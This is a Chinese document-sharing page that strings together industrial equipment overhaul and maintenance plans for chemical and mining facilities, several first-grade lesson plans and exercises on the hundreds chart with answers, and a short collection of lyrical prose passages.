1.概述 ******有限公司根据年度检修计划安排,定于7月份对设备进行一次大修。本次大修工程量较多、检修的设备重量较重,检修时间紧,并需高度交叉作业,为确保检修优质、高速、安全顺利的完成,特编制本方案。 2.编制依据 《*****有限公司2013大修计划》 《石油化工换热器设备施工及验收规范》SH3532-95 《石油化工施工安全技术规程》SH3505-1999 《管壳式换热器》GB151-1999 3.检修准备 3.1检修前,应根据检修计划会同主管人员一起到现场最终确定检修工作内容和计划工作量,熟悉现 场的每一项检修内容的位置、工作量和检修难度,以便于做好各工种、各工序之间的工作协调。 3.2根据计划工作内容编制详细的检修方案,并报安全环保部及公司领导批准。同时,根据工作量合 理组织人员和机具,排出检修计划进度表,要每一项检修内容具体落实到班组或个人。 3.3根据检修计划内容,核实每项施工任务的具体位置和详细情况,对在检修时需要搭设脚手架和使 用吊车的任务逐项统计,列出有关脚手架搭设数量和吊车台班需求情况的明细表,落实施工手段用料和机具需用的数量。 3.4准备好检修所需的检修施工机具和材料,逐一落实检修所需材料的到货情况、数量及到货时间, 认真做好到货材料、配件的检验和保管。 3.5检修前,应向所有参加检修施工人员进行详细的技术交底,明确检修的工作内容、技术要求、质 量标准和时间要求。 4.检修程序 4.1本次检修的主要内容 这次检修的内容主要包括清洗低压反应水冷却器列管、清洗凝汽器列管、氨蒸发器清理及催化反应器的安装,更换氧化炉铂网等。 4.2施工组织机构与管理 项目负责人: 检修总调度: 安全负责人: 成员:。 4.3检修过程控制 低压反应水冷却器检修程序 1、检修前的准备工作; 2、加装该设备的隔离盲板; 3、参加检修的人员必须了解设备图样及有关技术资料,熟悉其技术要求和注意事项; 5、对使用机具、备品备件、材料的型号、规格、数量、质量等进行检查、核实,其结果应能满足检修的需要;

一年级数学做个百数表

第五课时做个百数表 教学目标: 1.在百数表上认识100以内的数。 2.在百数表上进行数的定位练习,探究数与数之间的关系。 3.培养和提升学生的思维能力、学习能力,让学生获得积极的情感体验。 教学重点:理解百数表上行和列的编排规律。 教学难点:能运用百数表上行和列的编排规律,正确地填表。 教学过程: 创设情境,自主探索 数学王国开运动会了!7娃娃排成了整齐的方队(出示百数表),请小朋友仔细观察一下,这些7娃娃是怎样排队的? 方队里还有不少位置是空着的,你知道是哪些7娃娃还没来吗? 我们一起来学习隐藏在7娃娃方队中的秘密吧! 小组合作,探索规律 1.分组观察。 这张百数表里可藏着好多有趣的奥秘呢!现在请你们来找一找,看看表里藏着什么秘密。小组合作讨论。 2.交流表上的数。 看着这个表,你有什么问题?能看到哪些有趣的排列? 选一排读一读。(可以选横排,也可以选竖排) 横看有什么规律?竖看有什么规律?斜看有什么规律? 从左往右横着看:每一行横着的数的个位都是1,2,3,4,5,6,7,8,9,0。 从上往下竖着看:每一竖行的数的个位上的数都一样,十位上的数是0,1,2,3,4,5,6,7,8,9。 从左上往右下斜着看:每一斜行的数的个位上的数和十位上的数都比前一个数对应数位上的数大1(100除外)。 55的前一个数是多少?后一个数是多少? 谁还想考考大家?你还发现了什么? 小结:通过探究,发现了百数表上行和列排列的一些小秘密,每行都是挨着次序排列的,从左往右依次大 1.每列也是依次排列的,但它的次序是从上往下依次大10。 3.大家在百数表里发现了这么多秘密,真棒!这里有一些“魔力框”,大家仔细观察,在“魔力框”中你还会有新的发现的!

设备大修计划

设备大修计划 为了加强设备管理,规范大修费的使用程序,提高设备大修质量,进一步发挥设备使用效能,特制定本制度。 1、在大修设备时必须坚持安全第一的原则,不安全不准检修,设备大修必须要有计划、有组织、有安全措施,有主管领导现场指挥。煤矿设备大修必须严格执行《煤矿安全规程》设备大修安全和有关规定。 2、防爆型电气设备大修后应达到防爆性能要求;有关设备、部件、材料符合“煤矿矿用产品安全标志”的要求,符合阻燃和抗静电的要求,符合有关设备检修资质管理的要求。 3、引进设备的大修应依据外企厂商相关技术文件的要求,和计量单位等执行国家或有关行业的技术标准。作为企业制定设备大修细则、大修操作规程和设

备完好标准的依据。 4、大修人员的劳动保护、安全防护、劳动卫生及环境要求等必须按照国家和有关行业标准执行。大修工作提倡设备效能、节能,坚持绿色环保和持续发展。 5、设备大修时,设备的螺纹连接件和锁紧件必须齐全、牢固可靠。螺栓头部和螺母不得有铲伤、棱角严重变形。螺孔乱扣、滑扣时,允许扩孔,增大螺栓直径,但不能因扩孔而影响被扩工件的机械强度和工作性能。螺母必须拧紧,拧紧后螺栓的螺纹应露出螺母1~3个螺距,不得在螺母下加多余的垫圈来减少螺栓露出长度。螺栓不得弯曲,螺纹损伤不得超过螺纹工作高度的1/2,且连续不得超过一周。连接件螺栓的螺纹旋入孔内长度不得小于螺纹直径的1.5倍。沉头螺栓拧紧后,沉头部分不得凸出连接件的表面。

6、大修带轴承的设备时,轴承元件不得有裂纹、脱落、伤痕、锈斑、点蚀或变色等。保持架应完整无变形。转动灵活,无异响。轴承内圈与轴颈、轴承外圈与轴承座的配合应符合技术文件规定; 7、检修的设备在出厂前应做整机空载和加载运行试验,35kV以上的电气设备大修时应执行电力行业的有关技术标准。 8、对设备进行全面修理,使设备完全恢复精度和额定出力,需要对设备进行全面解体,对所有零部件进行清洗检查,更换或加固主要零部件,调整机械和操作系统,配齐安全装置和必要附件,重新喷漆或电镀,按设备出厂时的性能进行验收。 9、机电副矿长负责对本矿所有设备大修的指导和监督管理。每年负责根据各单位实际情况,下达设备

设备设施年度维修保养计划表

设备设施年度维修保养计划表

————————————————————————————————作者:————————————————————————————————日期: ?

设备设施年度维修保养计划表 设备 名称 保养周期计划保养时间保养内容达到的标准常见故障处理方法备注 阀门类日常保养每周 阀体及附件的清洁,阀门开关指示牌、 阀门编号牌 必须保持清晰可见 密封面泄漏 1、注意安装检查;2、重 新调整执行机构上的调整 螺栓,关严到位;3、将阀 门打开一条小缝,让高速流 体把污垢冲走;4、调整垫片 进行补偿;5、重新研磨, 调整垫片进行补偿 检查支架和各连接处的螺栓紧固法兰接处漏 1、重新均匀拧紧螺栓;2、 更换垫片; 阀芯、丝堵、膨胀节、阀盖与阀体连 接及阀门法兰等处有无渗漏。同时应 注意整个阀体的防腐情况; 宜用符合要求的机 械油进行防护,并加 保护套进行保护 手柄/手轮的损 坏处泄漏; 1、禁止使用管嵌、长杠杆、 撞击工具;2、随时修配;3、 随时修复; 检查异常的阀门、刚维修完的阀门、 新更换的阀门、新增加的阀门 无泄露和无锈蚀 蜗杆蜗轮传动咬 卡 1、清楚脏物、保持清洁、 定期加油;2、若操作时发 现咬卡,阻力过大时,不能 继续操作,就应该立即停 止,彻底检查; 半年保养月、月 阀门的手动装置进行检查,启闭一次 阀门 灵活、正常开启

加密封脂对启闭力矩大的加 注密封脂 过滤器一个月每月 检查法兰、阀门及顶盖等连接部位有 无泄漏 无泄漏 滤芯破裂脱落更换滤芯 检查过滤器外观和防腐情况外观清洁,防腐漆完 好无损 一季度6月、9月、12月 打开过滤器放散阀对过滤器内污物进 行吹扫。 过滤器内无污物 连接松动拧紧螺栓 过滤器滤芯进行清洗 过滤器滤芯干净无 杂物 加臭装置日常保养每周 阀门和连接部位泄露情况无泄漏 泵的输出量降低 或浮子跳动低 1.拧紧螺栓;2.清洗单向 阀;3.更换机油; 加药泵的运转加药泵的运转正常 进油口螺栓混有 加臭剂 更换膜片 四氢噻吩贮罐液位在规定范围 四氢噻吩贮罐液位 600mm至300mm间 (液位计的20格标 处) 加臭泵不工作 1.重新合上电源开关; 2.更 换防爆开关;3.更换保险 丝;4.接紧线路; 季度保养6月、9月、12月 更换泵内机油油质清澈,有无臭味液位计液面不动 关闭输出阀打开回流阀运 行 清除腔内机油及杂质 腔内机油及杂质清 除干净 转子不跳动 1.清洗上下单向阀; 2.打开 安全阀排出气体

纠正、预防措施工作计划表

纠正、预防措施工作计划表项目名称: 责任单位: 负责人: 编号: 编制/日期: 审核/日期: 批准/日期:

美文欣赏 1、走过春的田野,趟过夏的激流,来到秋天就是安静祥和的世界。秋天,虽没有玫瑰的芳香,却有秋菊的淡雅,没有繁花似锦,却有硕果累累。秋天,没有夏日的激情,却有浪漫的温情,没有春的奔放,却有收获的喜悦。清风落叶舞秋韵,枝头硕果醉秋容。秋天是甘美的酒,秋天是壮丽的诗,秋天是动人的歌。 2、人的一生就是一个储蓄的过程,在奋斗的时候储存了希望;在耕耘的时候储存了一粒种子;在旅行的时候储存了风景;在微笑的时候储存了快乐。聪明的人善于储蓄,在漫长而短暂的人生旅途中,学会储蓄每一个闪光的瞬间,然后用它们酿成一杯美好的回忆,在四季的变幻与交替之间,散发浓香,珍藏一生! 3、春天来了,我要把心灵放回萦绕柔肠的远方。让心灵长出北归大雁的翅膀,乘着吹动彩云的熏风,捧着湿润江南的霡霂,唱着荡漾晨舟的渔歌,沾着充盈夜窗的芬芳,回到久别的家乡。我翻开解冻的泥土,挖出埋藏在这里的梦,让她沐浴灿烂的阳光,期待她慢慢长出枝蔓,结下向往已久的真爱的果实。 4、好好享受生活吧,每个人都是幸福的。人生山一程,水一程,轻握一份懂得,将牵挂折叠,将幸福尽收,带着明媚,温暖前行,只要心是温润的,再遥远的路也会走的安然,回眸处,愿阳光时时明媚,愿生活处处晴好。 5、漂然月色,时光随风远逝,悄然又到雨季,花,依旧美;心,依旧静。月的柔情,夜懂;心的清澈,雨懂;你的深情,我懂。人生没有绝美,曾经习惯漂浮的你我,曾几何时,向往一种平实的安定,风雨共度,淡然在心,凡尘远路,彼此守护着心的旅程。沧桑不是自然,而是经历;幸福不是状态,而是感受。 6、疏疏篱落,酒意消,惆怅多。阑珊灯火,映照旧阁。红粉朱唇,腔板欲与谁歌?画脸粉色,凝眸着世间因果;未央歌舞,轮回着缘起缘落。舞袖舒广青衣薄,何似院落寂寞。风起,谁人轻叩我柴扉小门,执我之手,听我戏说? 7、经年,未染流殇漠漠清殇。流年为祭。琴瑟曲中倦红妆,霓裳舞中残娇靥。冗长红尘中,一曲浅吟轻诵描绘半世薄凉寂寞,清殇如水。寂寞琉璃,荒城繁心。流逝的痕迹深深印骨。如烟流年中,一抹曼妙娇羞舞尽半世清冷傲然,花祭唯美。邂逅的情劫,淡淡刻心。那些碎时光,用来祭奠流年,可好? 8、缘分不是擦肩而过,而是彼此拥抱。你踮起脚尖,彼此的心就会贴得更近。生活总不完美,总有辛酸的泪,总有失足的悔,总有幽深的怨,总有抱憾的恨。生活亦很完美,总让我们泪中带笑,悔中顿悟,怨中藏喜,恨中生爱。 9、海浪在沙滩上一层一层地漫涌上来,又一层一层地徐徐退去。我与你一起在海水中尽情的戏嬉,海浪翻滚,碧海蓝天,一同感受海的胸怀,一同去领略海的温情。这无边的海,就如同我们俩无尽的爱,重重的将我们包裹。 10、寂寞的严冬里,到处是单调的枯黄色。四处一片萧瑟,连往日明净的小河也失去了光彩,黯然无神地躲在冰面下恹恹欲睡。有母女俩,在散发着丝丝暖意的阳光下,母亲在为女儿梳头。她

一年级《做个百数表》教学设计

一年级下册《做个百数表》教学设计 1、教学内容 2011北师大版小学数学一年级下册第三单元《生活中的数》的《做个百数表》。 2、教材分析 《做个百数表》是学生在学习了100以内数的表示方法、数位等知识后学习的,这是教材中第一次把100以内的数全部展示在学生面前,为以后学习1000以内和更大的数打好基础。在“百数表”中蕴含着丰富的“规律”,引导学生按10行10列做一个百数表,让学生通过观察行和列与数位上表示的数之间的对应关系,揭示百以内数与数之间的关系,从而加深理解数的意义。 3、学情分析 一年级的学生在学习本课知识前,已能数出100以内的数,而且在他们的生活体验中,常常会接触到100以内的数。但学生的头脑中,还未有100以内数的概念,对百数表规律的寻找是难点。 4、教学目标 1)、知识与技能:.通过学生自主探索和合作交流,完成对百数表的填写,进一步理解100以内数的顺序、含义和排列规律。 2)、过程与方法:让学生在独立思考和合作交流的过程中探索规律,培养自主探索的精神和创新意识,进一步发展数感。 3)、情感态度与价值观:培养和发展学生的思维能力和学习能力,获得积极的情感体验。 5、教学重、难点 教学重点:掌握比较数的大小的方法。 教学难点:探索百数表的编排规律。 6、教学方法 教法:情景教学法、引导观察法、分析总结法 学法:自主探究法、讨论交流法、观察分析法 7、媒体资源 网络资源、白板 教学过程 一、创设情境,提出问题。 教师导言:小朋友们,看过动画片《喜洋洋与灰太郎》吗 羊村要举行运动会,喜羊羊他们准备排练一个团体操,为防止有的羊走错位置,给每只羊身上都有编号,排着整齐的方队,请小朋友们仔细观察一下,这些小羊是怎样排队的课件出示书上32页的百数表。(小组讨论)这一天又要开始训练了,看,空着位置的小羊们还没来,我们知道是哪些小羊没来吗能把这些小羊的序号添上吗这节课我们一起帮助喜羊羊完成这张不完整的百数表(板书课题) 学生活动:1、观看动画。 2、观察百数表,数一数表格有几行几列。 [设计意图:通过播放动画视频,激发学生填写百数表,探究百数表的兴趣。]二、探索新知,发现规律。 (一)活动一:

《做个百数表》教学设计 (2)

《做个百数表》教学设计 小一田东晓 教学目标: 1.通过学生自主探索和合作交流,完成对百数表的填写,进一步理解100以内数的顺序、含义和排列规律。 2.让学生在独立思考和合作交流的过程中探索规律,培养自主探索的精神和创新意识,进一步发展数感,培养和发展学生的思维能力和学习能力,获得积极地情感体验。 教学重难点: 重点:填写和理解百数表的编排规律。 难点:探索百数表的编排规律。 教学过程: 一、温习旧知 同学们,到目前为止,我们已经学习过了100以内的数字了,不知道经过这么久的学习,你是否已经熟练掌握了。 1.最小的一位数-0;最大的一位数-9;最小的两位数10,最大的两位数99.最小的三位数100. 2.十位是9的数();个位是5的数()。 3.找规律。22、32、()、·····;96、86、·····()。 二、探索规律 除了已经学过的这些,其实百以内的数字还藏着很多的秘密,你想去发现它吗?那么,这节课咱们就要继续探索100以内数字的规律。(板书课题:《百数表》)(一)活动一: 1.填写百数表。 同学们,这是一张不完整的百数表,你能把它按照规律补充完整吗?独立填写。 2.说一说。你是按照什么规律这么快就写好了。 师:通过每一位小朋友的努力探索,一个崭新完整的百数表就诞生了。 别看它不起眼,你要能从它身上找到规律和秘密就很了不起了。 (二)活动二:找一找 1.自由汇报:请同学们开动脑筋,展示汇报自己发现的新规律。 2.按规律,找规律。 横着看:

竖着看: 数量个位十位 10 相同相差10 斜着看: 数量个位十位总数 10 相差1 相差10 前后相差11 3.想一想,练一练。 师:横着第2行是什么?竖着第4行是什么? 三、巩固提升 1.完成课本33页第一题。按要求涂一涂。 2.按顺序写一写。完成第二题、第三题。 3.想一想,填一填。完成表格。 四、回顾反思 同学们,这节课你有什么收获?发现了什么? 教学反思: 对学习素材感兴趣,产生主动学习的愿望,是学生主动探索的重要前提。百数表是孩子们第一次接触,因为之前有了百数图,教师又告诉大家百数表里藏着很多的小秘密,这在很大程度上激发了孩子想寻找秘密的好奇心,这些看似单调的数字宝宝,会藏着哪些小秘密呢……这时候的百数表在孩子的眼里是富有情感,具有活力的东西,激发了学生强烈的探究欲望,诱发了学生参与的意识,使学生想探究。所以孩子们的汇报就很精彩,可以横着看,竖着看,斜着看,跳着看,思维一下子就活跃了,课堂就更富有生趣。在学生了解了百数表排列的规律后,出现了不同层次的练习,第一层次直接在百数表里找缺少的数字,这时候的百数表里除了缺少的数,其他的数是其全的;第二层次缺少了大部分的数,只给

做个百数表教案

横山县第三小学学导案 课题做个百数表(数的顺序)主备教师霍宁日期 4.7 教材简析 本节课主要是引导学生按10行10列做一个百数表,并探索在这样一个百数表中数的排列规律,从而加深理解数的意义。 学习目标1、通过填写百数表,进一步体会100以内数的排列顺序,以及100以内数的大小。 2、探究百数表中隐含的规律,提高探究的乐趣,发展推理能力。 学法指导合作探究法 学习重点掌握比较数的大小的方法。 学习难点掌握比较数的大小的方法。 课程资源 课时安排1课时 学导过程 环 节 过程设计复备

学研 展 一、课前活动: 成绩好,有诀窍,认真听课很重要; ?书展开,笔在手,课前准备要做好; ?眼看清,耳听好,上课专心不说笑; ?勤动手,多动脑,精力集中质量高; 二、自主学习 出示表(课本32页) 学生独自完成表格。 三、小组合作交流 1.分组观察。 这张百数表里可藏着好多有趣的奥秘呢!现在请你们来找一找,看看表里藏着什么秘密。小组合作讨论。 2.交流表上的数。 看着这个表,你有什么问题?能看到哪些有趣的排列? 选一排读一读。(可以选横排,也可以选竖排) 横看有什么规律?竖看有什么规律?斜看有什么规律? 从左往右横着看:每一行横着的数的个位都是1,2,3,4,5,6,7,8,9,0。 从上往下竖着看:每一竖行的数的个位上的数都一样,十位上的数是0,1,2,3,4,5,6,7,8,9。 从左上往右下斜着看:每一斜行的数的个位上的数和十位上的数都比前一个数对应数位上的数大1(100除外)。 55的前一个数是多少?后一个数是多少? 谁还想考考大家?你还发现了什么? 小结:通过探究,发现了百数表上行和列排列的一些小秘密,每行都是挨着次序排列的,从左往右依次大 1.每列也是依次排列的,但它的次序是从上往下依次大10。 3.大家在百数表里发现了这么多秘密,真棒!这里有一些“魔力框”,大家仔细观察,在“魔力框”中你还会有新的发现的!

做个百数表_练习题汇总0001

姓名 班级: )、()、73、() 一、 想一想,填一填 50后面的第6个数是( ),60后面的第7个数是( )。 30在( )和( )的中间。 与69相邻的两个数是( )和( )。个位上是7的数有 ( )。 (1) 16、 18、 20、( )、( (2) 100、 70、( )、( ) (3) 13、 23、 33、( )、( 45 28 37 39 48 26 三、找规律,填一填 二、 完成下列表格

姓名班级 一、按百数表填空。 (1) 个位是8的数有: ______________________________________ _____________________________ 。共()个 (2) 十位是5的数有: ______________________________________ _____________________________ ()个 (3) ___________________________________________________ 十位和个位相同的数有:_____________________________________ _____________________________ ()个 、完成表格 28 48 三、完成百数表,并将个位或十位有2的数图上颜色 23^4J&7P翻10* + Ik'.2]314*15*17-18+19*22 + 2b:Mr£孕2S*如+ 3U运込仙35*37*38*42 * 41*忤45*4弘 5b5牛必5£57*驱+ 61*◎64*65*□眇70Z

一年级下册数学试题《做个百数表》达标检测(1) (1)

《做个百数表》达标检测(1) 一、想一想,填一填。 1、50后面的第6个数是( ),60后面的第7个数是( )。 2、30在( )和( )的中间。 3、与69相邻的两个数是( )和( )。 4、个位上是7的数有( )。 二、你能接着写下去吗? 1.11,13,15,( ),( ),( )。 2.10,12,14,( ),( ),( )。 3.13,16,19,( ),( ),( )。 4.10,20,30,( ),( ),( )。 5.5,10,15,( ),( ),( )。 三、根据百数表填空。 1、95向上五格是( );36向左四格是( ); 2、25向下六格是( ),74向右三格是( )。 3、24向下三格,再向右两格是( ); 4、50向左两格,再向上两格是( ); 四、在52、75、50和35这四个数中,选择合适的填在圈里。 十位上是5的数 个位上是5的数 比50大的数 五、请你观察百数表中的55, 上下左右的数和它是什么关系,想好后把表补充完整。 六、找规律,填一填。 1、 2、

七、比大小。 26○27 80○79 12○19 38○47 56○46 44○55 八、按要求拨珠。 用6个珠子在计数器上可以拨出那些两位数()。 九、判断题。(对的画√,错的画×) 1、和29相邻的数是30和31。() 2、36后面第五个数是41。() 3、30里面有30个一。() 4、最小的两位数是11。() 十、用1、3、7三张卡片中的两张组成两位数,最大的数是多少?最小的数是多少? 最大的数是()最小的数是()

答案及解析: 一、答案:1、56 67 2、29 31 3、68 70 4、7 17 27 37 47 57 67 77 87 97 解析:本题主要考查学生的数数、相邻数及数的组成知识。答案都可以在百数表上找到。第1小题50后面的数有51、52、53、54、55……第6个是56;60后面的数有61、62、63、64……第7个数是67。第2、3题主要考查学生相邻数的知识,了解多1、少1就是这个数的相邻数。第4题是百位表上竖着看得到的结果。 二、答案:1、17 19 21 2、16 18 20 3、22 25 28 4、40 50 60 5、20 25 30 解析:此题主要考查学生数数及单双数的知识。第1小题是两个两个地数,并且它们都是单数。第2小题是两个两个地数,并且它们都是双数。第3小题是三个三个地数。第4小题是十个十个地数。第5小题是五个五个地数。 三、答案:1、45 32 2、85 77 3、56 4、28 解析:此题主要考查学生百数表的掌握情况。了解百数表从左往右数,后一个比前一个大1。从上往下看,下一行比上一行大10。比如第1小题95向上数五格,分别是85、75、65、55、45。36向左数四格,分别是35、34、33、32。 四、答案:十位上是5的数:52 50 个位上是5的数:75 35 比50大的数: 75 52 解析:本题主要考学生的数位知识及比较大小的知识。对于个位和十位要区别清楚,还有比50大的数要知道。 五、答案: 解析:本题主要考查学生对于本节课知识掌握的情况。上一行比下一行少10,所以55的上面填45,下面填65。左边的比右面一格少1,所以55的左边填54,右边填56。 六、答案:1、44 66 77 99 2、12 32 52

一年级下册《做个百数表》

北师大一年级数学下册《做个百数表》教学设计 教学目标: 知识目标: 1、百数表上认识数、数的定位练习。 2、通过直觉,探究数与数关系的模式。 能力目标:培养学生用数学的意识去发现、探索百数表中的数学问题。 情感目标: 体验探究数学知识过程中的成功感。 教学难点:在百数表上探究数与数关系的模式。 教具、学具:百数表、彩色笔、小圆片。 教学过程: 一.复习引入: 1、口答: 师:小朋友,我们已经认识了100以内的数,并且还学会了比较百以内两个数的大小,下面老师就考考你(1)说出个位是5的两位数。(2)说出十位是5的两位数。(3)说出十位和个位相同的两位数。 2、出示百数表,看!老师把100以内的数做成表,并且命名为“百数表”, 你能找到老师藏在表里的许多小秘密吗?看一看,谁有孙悟空的火眼金 睛,能发现“百数表”里的小秘密。(出示课题与表格) 二.认识百数表上的数: 1.布置小组学习内容:仔细观察这张百数表,我们可以看到,这张表里的每一个数都有他自己的位置。现在就请你们来找一找,表里蕴藏着什么小秘密? 小组合作讨论。 反馈小结: 生①:每一行的前9格十位数是相同的,个位数相差1 生②:每一列中个位数是相同的,十位数相差1

生③:对角线上,个位数与十位数每次变化都是相差1 生④:对角线下面一条斜线上个位与十位数字都相同 …… 师:找一找表中的整十数列,这些整十数与前面的数有什么联系? 归纳小结:他们都是个位数9增加1后得到的,个位数变为0而十位数增加1。 2.游戏:快速找数: 1)找出个位是二的数(左起第二列) 读一读。 2)找出十位是九的数(最后一行) 读一读。 问:百数表中最后一个数是几? 师:最大的两位数是99,比99大1的数是100,100是最小的三位数。 3)找出百数表上那些数中出现数字5? 小结:除了5、15~95,还有50 、51~59。数字5可以出现在个位上,也可以出现在十位上。 4)找出对角线上的数。 同桌互念。 三.探究百数表上数与数关系: 1.完成第59(1) 1)从1出发,2个一数,并涂红色。 2)从3出发,3个一数,并涂蓝色。 问:你发现了什么? 生:第1题的出的都是单数(奇数),个位是:1、3、5、7、9;竖的看个位数

设备管理工作计划

设备管理工作内容 搞好设备能源部的内部管理,主要将部门的各项工作通过合理的组织与策划,形成每周、月工作计划,真正的落实到每项工作中去,形成任务到人、责任到人、全力去实施,同时在实施过程中按工作计划进度进行督促检查,及时发现问题,及时采取有效措施尽快解决。在工作中要充分发挥每一位员工的主观能动性,调动每一位员工的积极性,特别是部门的主管和班组长,做到分工不分家的原则,将工作中的瓶颈、难点、死结一一化解,必须做到把设备维护保养到最佳状态,完成工厂领导布置的各项工作任务。 一、设备能源部人员状况: 共计员工:15人。其中:本科1人,大专3人,高级工程师1人,技师5人(其中:公司2人、国家证3人),电工4人,机械4人(其中含陈强),管道工1人。 二、设备日常管理工作 1、现工作的机械设备近300台套,其中用于生产的数控设备近130台(1号工厂116 台,加上航空分厂近130台),我们必须以公司质量管理体系文件为依据,坚持集 团的《设备管理制度》为准绳(三级文件)进行严格要求,同时按生产设备管理 程序进行设备管理,奖罚分明。 2、根据公司的具体现状和未来发展趋势,以及根据ISO9000、TS16949及ASP100B 质量管理体系中生产管理程序的要求,集团设备管理办法有的按管理办法办,文 件、表格没有的我们要自己完善。使我们1号工厂设备管理工作有据可查,沿着 规范化的管理道路进行实施和操作。 3、搞好设备的日常维修工作,充分发挥设备能源部机修工、电工、管道工等员工的 技术水平,做到人尽其用,根据每个员工的特长来安排工作,使每个人在各自的 岗位上有用武之地,机电维修人员在平时工作中要坚持日常巡回检查,不能等分 厂找上门来再去处理,这样会很被动,我们要及时发现故障隐患,及时排除故障, 在接到设备故障报修时,应立即到达现场保质保量完成修理任务,对于设备故障 严重的、抢修时间长的,要加班突击修理,确保生产使用部门的正常运行。 4、设备能源部对于役龄较长、机床几何精度降低、各滑动接触面出现磨损刮伤严重 等现象的生产设备,在年度设备大中修理工作中进行有计划、分批进行外出修理, 严把修理质量验收关,坚决按大中修技术协议验收,同时对大修理的机床进行生 产使用过程中的全程跟踪管理,广泛听取设备使用部门的意见,必须满足分厂生 产中对设备的要求。 5、根据工厂生产设备的现状以及进口设备和高科技、专用技术含量高的各类先进装

设备 大 中 小 年度检修计划表

设备年度检修计划表 单位名称:山西长治联盛太义掌煤业有限公司2011年1月10日序号 设备名称编号 检修类 别主要检修内容预计起止日 期 预计检修工 时 检修情况验收 人 日期 1主提升小修1、紧固件 2、键和键槽 3、轴和轴承 4、联轴器 5、减速器箱体 6、密封件 2月20日 5月19日 8月20日 11月20日 8时/班

7、高压胶管与管接头 8、涂饰 2 主要通风 机小修 1、机座及壳体 2、轴流式通风机叶轮 3、润滑脂 4、防爆面和防爆密封罩 2月22日 5月22日 8月21日 11月20日 8时/班 3井下皮带小修1、滚筒、托辊 2、架体 3、输送带拉紧和伸缩装置 3月1日 6月1日 9月2日 16时

4、输送带 5、制动装置、清扫器、挡煤 板 6、保护、信号 12月1日 4调度绞车小修1、紧固件 2、键和键槽 3、轴和轴承 4、齿轮 3月1日 6月2日 9月1日 12月1日 16时 5 刮板输送 机小修 1、机头、机尾架3月1日 8时

2、机械传动装置 3、链轮、舌板、分链器 4、刮板、链条 5、溜槽 6、机身的附件6月1日9月2日12月1日 6 局部通风 机小修 1、机座及壳体 2、轴流式通风机叶轮 3、润滑脂 4、防爆面和防爆密封罩 3月1日 6月1日 9月2日 12月1日 8时

7防爆开关小修1、真空断路器 2、母线室 3、信号指示 4、位置指示 5、电气显示 6、仪表指示 7、外形结构 8、保护装置 3月1日 6月1日 9月2日 12月1日 8时 8发电机组小修1、启动系统2月20日16时

2、冷却系统 3、润滑系统 4、燃油系统 5月19日8月20日11月19日 9空压机组小修1、主机 2、冷却系统 3、气路系统 4、润滑系统 5、仪表及安全保护装置 2月20日 5月20日 8月21日 11月20日 8时 10变压器小修1、铁芯2月20日8时

相关主题
文本预览
相关文档 最新文档